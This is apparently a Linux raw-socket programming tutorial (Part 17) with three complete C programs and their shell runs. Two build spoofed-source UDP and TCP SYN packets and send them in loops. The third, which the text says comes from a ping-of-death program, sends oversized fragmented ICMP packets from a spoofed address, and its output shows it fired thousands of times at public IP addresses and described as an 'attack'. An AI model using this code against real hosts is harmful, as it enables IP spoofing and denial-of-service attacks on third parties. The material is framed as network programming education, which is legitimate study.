LINUX SOCKET PART 17
Advanced TCP/IP - THE RAW SOCKET PROGRAM EXAMPLES

This is a continuation from Part IV series, Advanced TCP/IP Programming Tutorial. Working program examples if any compiled using gcc, tested using the public IPs, run on **Fedora Core 3**, with several times of update, as root or SUID 0. The Fedora machine used for the testing having the "No Stack Execute" disabled and the SELinux set to default configuration.

Building and injecting RAW datagrams program examples

```
[root@bakawali testraw]# cat rawudp.c
// ----rawudp.c------
// Must be run by root lol! Just datagram,
no payload/data
#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>

// The packet length
#define PCKT_LEN 8192

// Can create separate header file (.h)
for all headers' structure
// The IP header's structure
struct ipheader {
 unsigned char      iph_ihl:5, iph_ver:4;
```

Example 5 Socket
Example 6 Socket
Example 7 Advanced TCP/IP 1
Advanced TCP/IP 2
Advanced TCP/IP 3
Advanced TCP/IP 4
Advanced TCP/IP 5

```
 unsigned char      iph_tos;
 unsigned short int iph_len;
 unsigned short int iph_ident;
 unsigned char      iph_flag;
 unsigned short int iph_offset;
 unsigned char      iph_ttl;
 unsigned char      iph_protocol;
 unsigned short int iph_chksum;
 unsigned int       iph_sourceip;
 unsigned int       iph_destip;
};

// UDP header's structure
struct udpheader {
 unsigned short int udph_srcport;
 unsigned short int udph_destport;
 unsigned short int udph_len;
 unsigned short int udph_chksum;
};
// total udp header length: 8 bytes (=64
bits)

// Function for checksum calculation. From
the RFC,
// the checksum algorithm is:
//  "The checksum field is the 16 bit
one's complement of the one's
//  complement sum of all 16 bit words in
the header.  For purposes of
//  computing the checksum, the value of
the checksum field is zero."
unsigned short csum(unsigned short *buf,
int nwords)
{       //
        unsigned long sum;
        for(sum=0; nwords>0; nwords--)
                sum += *buf++;
        sum = (sum >> 16) + (sum &0xffff);
        sum += (sum >> 16);
        return (unsigned short)(~sum);
}


// Source IP, source port, target IP, target port
from the command line arguments
int main(int argc, char *argv[])
{
```

```
int sd;
// No data/payload just datagram
char buffer[PCKT_LEN];
// Our own headers' structures
struct ipheader *ip = (struct ipheader *) buffer;
struct udpheader *udp = (struct udpheader *) (buffer
+ sizeof(struct ipheader));
// Source and destination addresses: IP and port
struct sockaddr_in sin, din;
int one = 1;
const int *val = &one;

memset(buffer, 0, PCKT_LEN);

if(argc != 5)
{
printf("- Invalid parameters!!!\n");
printf("- Usage %s <source hostname/IP> <source port>
<target hostname/IP> <target port>\n", argv[0]);
exit(-1);
}

// Create a raw socket with UDP protocol
sd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
if(sd < 0)
{
perror("socket() error");
// If something wrong just exit
exit(-1);
}
else
printf("socket() - Using SOCK_RAW socket and UDP
protocol is OK.\n");

// The source is redundant, may be used later if
needed
// The address family
sin.sin_family = AF_INET;
din.sin_family = AF_INET;
// Port numbers
sin.sin_port = htons(atoi(argv[2]));
din.sin_port = htons(atoi(argv[4]));
// IP addresses
sin.sin_addr.s_addr = inet_addr(argv[1]);
din.sin_addr.s_addr = inet_addr(argv[3]);

// Fabricate the IP header or we can use the
```

```
// standard header structures but assign our own
values.
ip->iph_ihl = 5;
ip->iph_ver = 4;
ip->iph_tos = 16; // Low delay
ip->iph_len = sizeof(struct ipheader) + sizeof(struct
udpheader);
ip->iph_ident = htons(54321);
ip->iph_ttl = 64; // hops
ip->iph_protocol = 17; // UDP
// Source IP address, can use spoofed address here!!!
ip->iph_sourceip = inet_addr(argv[1]);
// The destination IP address
ip->iph_destip = inet_addr(argv[3]);

// Fabricate the UDP header. Source port number,
redundant
udp->udph_srcport = htons(atoi(argv[2]));
// Destination port number
udp->udph_destport = htons(atoi(argv[4]));
udp->udph_len = htons(sizeof(struct udpheader));
// Calculate the checksum for integrity
ip->iph_chksum = csum((unsigned short *)buffer,
sizeof(struct ipheader) + sizeof(struct udpheader));
// Inform the kernel do not fill up the packet
structure. we will build our own...
if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val,
sizeof(one)) < 0)
{
perror("setsockopt() error");
exit(-1);
}
else
printf("setsockopt() is OK.\n");

// Send loop, send for every 2 second for 100 count
printf("Trying...\n");
printf("Using raw socket and UDP protocol\n");
printf("Using Source IP: %s port: %u, Target IP: %s
port: %u.\n", argv[1], atoi(argv[2]), argv[3],
atoi(argv[4]));

int count;
for(count = 1; count <=20; count++)
{
if(sendto(sd, buffer, ip->iph_len, 0, (struct
sockaddr *)&sin, sizeof(sin)) < 0)
```

```
// Verify
{
perror("sendto() error");
exit(-1);
}
else
{
printf("Count #%u - sendto() is OK.\n", count);
sleep(2);
}
}
close(sd);
return 0;
}
```

```
[root@bakawali testraw]# gcc rawudp.c -o rawudp
[root@bakawali testraw]# ./rawudp
- Invalid parameters!!!
- Usage ./rawudp <source hostname/IP> <source port>
<target hostname/IP> <target port>
[root@bakawali testraw]# ./rawudp 192.168.10.10 21
203.106.93.91 8080
socket() - Using SOCK_RAW socket and UDP protocol is
OK.
setsockopt() is OK.
Trying...
Using raw socket and UDP protocol
Using Source IP: 192.168.10.10 port: 21, Target IP:
203.106.93.91 port: 8080.
Count #1 - sendto() is OK.
Count #2 - sendto() is OK.
Count #3 - sendto() is OK.
Count #4 - sendto() is OK.
Count #5 - sendto() is OK.
Count #6 - sendto() is OK.
Count #7 - sendto() is OK.
...
```

You can use network monitoring tools to capture the raw socket datagrams at the target machine to see the effect. The following is a raw socket and tcp program example.

```
[root@bakawali testraw]# cat rawtcp.c
//---cat rawtcp.c---
// Run as root or SUID 0, just datagram no
```

```
data/payload
#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
// Packet length
#define PCKT_LEN 8192

// May create separate header file (.h) for all
// headers' structures
// IP header's structure
struct ipheader {
 unsigned char      iph_ihl:5, /* Little-endian */
                    iph_ver:4;
 unsigned char      iph_tos;
 unsigned short int iph_len;
 unsigned short int iph_ident;
 unsigned char      iph_flags;
 unsigned short int iph_offset;
 unsigned char      iph_ttl;
 unsigned char      iph_protocol;
 unsigned short int iph_chksum;
 unsigned int       iph_sourceip;
 unsigned int       iph_destip;
};

/* Structure of a TCP header */
struct tcpheader {
 unsigned short int tcph_srcport;
 unsigned short int tcph_destport;
 unsigned int       tcph_seqnum;
 unsigned int       tcph_acknum;
 unsigned char      tcph_reserved:4, tcph_offset:4;
 // unsigned char tcph_flags;
  unsigned int
       tcp_res1:4,       /*little-endian*/
       tcph_hlen:4,      /*length of tcp header in
32-bit words*/
       tcph_fin:1,       /*Finish flag "fin"*/
       tcph_syn:1,       /*Synchronize sequence
numbers to start a connection*/
       tcph_rst:1,       /*Reset flag */
       tcph_psh:1,       /*Push, sends data to the
application*/
       tcph_ack:1,       /*acknowledge*/
       tcph_urg:1,       /*urgent pointer*/
```

```
        tcph_res2:2;
 unsigned short int tcph_win;
 unsigned short int tcph_chksum;
 unsigned short int tcph_urgptr;
};

// Simple checksum function, may use others such as
Cyclic Redundancy Check, CRC
unsigned short csum(unsigned short *buf, int len)
{
        unsigned long sum;
        for(sum=0; len>0; len--)
                sum += *buf++;
        sum = (sum >> 16) + (sum &0xffff);
        sum += (sum >> 16);
        return (unsigned short)(~sum);
}

int main(int argc, char *argv[])
{
int sd;
// No data, just datagram
char buffer[PCKT_LEN];
// The size of the headers
struct ipheader *ip = (struct ipheader *) buffer;
struct tcpheader *tcp = (struct tcpheader *) (buffer
+ sizeof(struct ipheader));
struct sockaddr_in sin, din;
int one = 1;
const int *val = &one;

memset(buffer, 0, PCKT_LEN);

if(argc != 5)
{
printf("- Invalid parameters!!!\n");
printf("- Usage: %s <source hostname/IP> <source
port> <target hostname/IP> <target port>\n",
argv[0]);
exit(-1);
}

sd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
if(sd < 0)
{
   perror("socket() error");
   exit(-1);
```

```
}
else
printf("socket()-SOCK_RAW and tcp protocol is
OK.\n");

// The source is redundant, may be used later if
needed
// Address family
sin.sin_family = AF_INET;
din.sin_family = AF_INET;
// Source port, can be any, modify as needed
sin.sin_port = htons(atoi(argv[2]));
din.sin_port = htons(atoi(argv[4]));
// Source IP, can be any, modify as needed
sin.sin_addr.s_addr = inet_addr(argv[1]);
din.sin_addr.s_addr = inet_addr(argv[3]);
// IP structure
ip->iph_ihl = 5;
ip->iph_ver = 4;
ip->iph_tos = 16;
ip->iph_len = sizeof(struct ipheader) + sizeof(struct
tcpheader);
ip->iph_ident = htons(54321);
ip->iph_offset = 0;
ip->iph_ttl = 64;
ip->iph_protocol = 6; // TCP
ip->iph_chksum = 0; // Done by kernel

// Source IP, modify as needed, spoofed, we accept
through command line argument
ip->iph_sourceip = inet_addr(argv[1]);
// Destination IP, modify as needed, but here we
accept through command line argument
ip->iph_destip = inet_addr(argv[3]);

// The TCP structure. The source port, spoofed, we
accept through the command line
tcp->tcph_srcport = htons(atoi(argv[2]));
// The destination port, we accept through command
line
tcp->tcph_destport = htons(atoi(argv[4]));
tcp->tcph_seqnum = htonl(1);
tcp->tcph_acknum = 0;
tcp->tcph_offset = 5;
tcp->tcph_syn = 1;
tcp->tcph_ack = 0;
tcp->tcph_win = htons(32767);
```

```
tcp->tcph_chksum = 0; // Done by kernel
tcp->tcph_urgptr = 0;
// IP checksum calculation
ip->iph_chksum = csum((unsigned short *) buffer,
(sizeof(struct ipheader) + sizeof(struct
tcpheader)));

// Inform the kernel do not fill up the headers'
structure, we fabricated our own
if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val,
sizeof(one)) < 0)
{
    perror("setsockopt() error");
    exit(-1);
}
else
   printf("setsockopt() is OK\n");

printf("Using:::::Source IP: %s port: %u, Target IP:
%s port: %u.\n", argv[1], atoi(argv[2]), argv[3],
atoi(argv[4]));

// sendto() loop, send every 2 second for 50 counts
unsigned int count;
for(count = 0; count < 20; count++)
{
if(sendto(sd, buffer, ip->iph_len, 0, (struct
sockaddr *)&sin, sizeof(sin)) < 0)
// Verify
{
   perror("sendto() error");
   exit(-1);
}
else
   printf("Count #%u - sendto() is OK\n", count);
sleep(2);
}
close(sd);
return 0;
}

[root@bakawali testraw]# gcc rawtcp.c -o rawtcp
[root@bakawali testraw]# ./rawtcp
- Invalid parameters!!!
- Usage: ./rawtcp <source hostname/IP> <source port>
<target hostname/IP> <target port>
[root@bakawali testraw]# ./rawtcp 10.10.10.100 23
```

```
203.106.93.88 8008
socket()-SOCK_RAW and tcp protocol is OK.
setsockopt() is OK
Using:::::Source IP: 10.10.10.100 port: 23, Target
IP: 203.106.93.88 port: 8008.
Count #0 - sendto() is OK
Count #1 - sendto() is OK
Count #2 - sendto() is OK
Count #3 - sendto() is OK
Count #4 - sendto() is OK
...
```

Network utilities applications such as ping and Traceroute (check Unix/Linux man page) use ICMP and raw socket. The following is a very loose ping and ICMP program example. It is taken from **ping-of-death** program.

```
[root@bakawali testraw]# cat myping.c
/* Must be root or SUID 0 to open RAW socket */
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <arpa/inet.h>

int main(int argc, char *argv[])
{
  int s, i;
  char buf[400];
```

```
  struct ip *ip = (struct ip *)buf;
  struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
  struct hostent *hp, *hp2;
  struct sockaddr_in dst;
  int offset;
  int on;
  int num = 100;

  if(argc < 3)
  {
     printf("\nUsage: %s <saddress> <dstaddress>
[number]\n", argv[0]);
     printf("- saddress is the spoofed source
address\n");
     printf("- dstaddress is the target\n");
     printf("- number is the number of packets to
send, 100 is the default\n");
     exit(1);
   }

  /* If enough argument supplied */
  if(argc == 4)
      /* Copy the packet number */
      num = atoi(argv[3]);

    /* Loop based on the packet number */
    for(i=1;i<=num;i++)
    {
       on = 1;
       bzero(buf, sizeof(buf));

       /* Create RAW socket */
       if((s = socket(AF_INET, SOCK_RAW,
IPPROTO_RAW)) < 0)
       {
        perror("socket() error");
        /* If something wrong, just exit */
        exit(1);
       }

       /* socket options, tell the kernel we provide
the IP structure */
       if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on,
sizeof(on)) < 0)
       {
        perror("setsockopt() for IP_HDRINCL error");
        exit(1);
```

```
        }

        if((hp = gethostbyname(argv[2])) == NULL)
        {
          if((ip->ip_dst.s_addr = inet_addr(argv[2]))
== -1)
          {
             fprintf(stderr, "%s: Can't resolve,
unknown host.\n", argv[2]);
             exit(1);
          }
        }
        else
            bcopy(hp->h_addr_list[0],
&ip->ip_dst.s_addr, hp->h_length);

         /* The following source address just
redundant for target to collect */
         if((hp2 = gethostbyname(argv[1])) == NULL)
         {
          if((ip->ip_src.s_addr = inet_addr(argv[1]))
== -1)
          {
              fprintf(stderr, "%s: Can't resolve,
unknown host\n", argv[1]);
              exit(1);
          }
         }
         else
             bcopy(hp2->h_addr_list[0],
&ip->ip_src.s_addr, hp->h_length);

         printf("Sending to %s from spoofed %s\n",
inet_ntoa(ip->ip_dst), argv[1]);

         /* Ip structure, check the ip.h */
         ip->ip_v = 4;
         ip->ip_hl = sizeof*ip >> 2;
         ip->ip_tos = 0;
         ip->ip_len = htons(sizeof(buf));
         ip->ip_id = htons(4321);
         ip->ip_off = htons(0);
         ip->ip_ttl = 255;
         ip->ip_p = 1;
         ip->ip_sum = 0; /* Let kernel fills in */

         dst.sin_addr = ip->ip_dst;
```

```
        dst.sin_family = AF_INET;

        icmp->type = ICMP_ECHO;
        icmp->code = 0;
        /* Header checksum */
        icmp->checksum = htons(~(ICMP_ECHO << 8));

        for(offset = 0; offset < 65536; offset +=
(sizeof(buf) - sizeof(*ip)))
        {
        ip->ip_off = htons(offset >> 3);

        if(offset < 65120)
         ip->ip_off |= htons(0x2000);
        else
          ip->ip_len = htons(418); /* make total
65538 */

        /* sending time */
        if(sendto(s, buf, sizeof(buf), 0, (struct
sockaddr *)&dst, sizeof(dst)) < 0)
        {
           fprintf(stderr, "offset %d: ", offset);
           perror("sendto() error");
        }
     else
       printf("sendto() is OK.\n");

        /* IF offset = 0, define our ICMP structure
*/
        if(offset == 0)
        {
        icmp->type = 0;
        icmp->code = 0;
        icmp->checksum = 0;
        }
       }
      /* close socket */
      close(s);
      usleep(30000);
     }
    return 0;
}

[root@bakawali testraw]# gcc myping.c -o myping
[root@bakawali testraw]# ./myping

Usage: ./myping <saddress> <dstaddress> [number]
```

```
- saddress is the spoofed source address
- dstaddress is the target
- number is the number of packets to send, 100 is the
default
[root@bakawali testraw]# ./myping  1.2.3.4
203.106.93.94  10000
sendto() is OK.
sendto() is OK.
...
...
sendto() is OK.
sendto() is OK.
Sending to 203.106.93.88 from spoofed 1.2.3.4
sendto() is OK.
...
```

You can verify this 'attack' at the target machine by issuing the `tcpdump -vv` command or other network analyzer tools such as Ethereal/Wireshark.

More reading and digging:

1. Check the best selling C / C++, Networking, Linux and Open Source books at Amazon.com.
2. GCC, GDB and other related tools.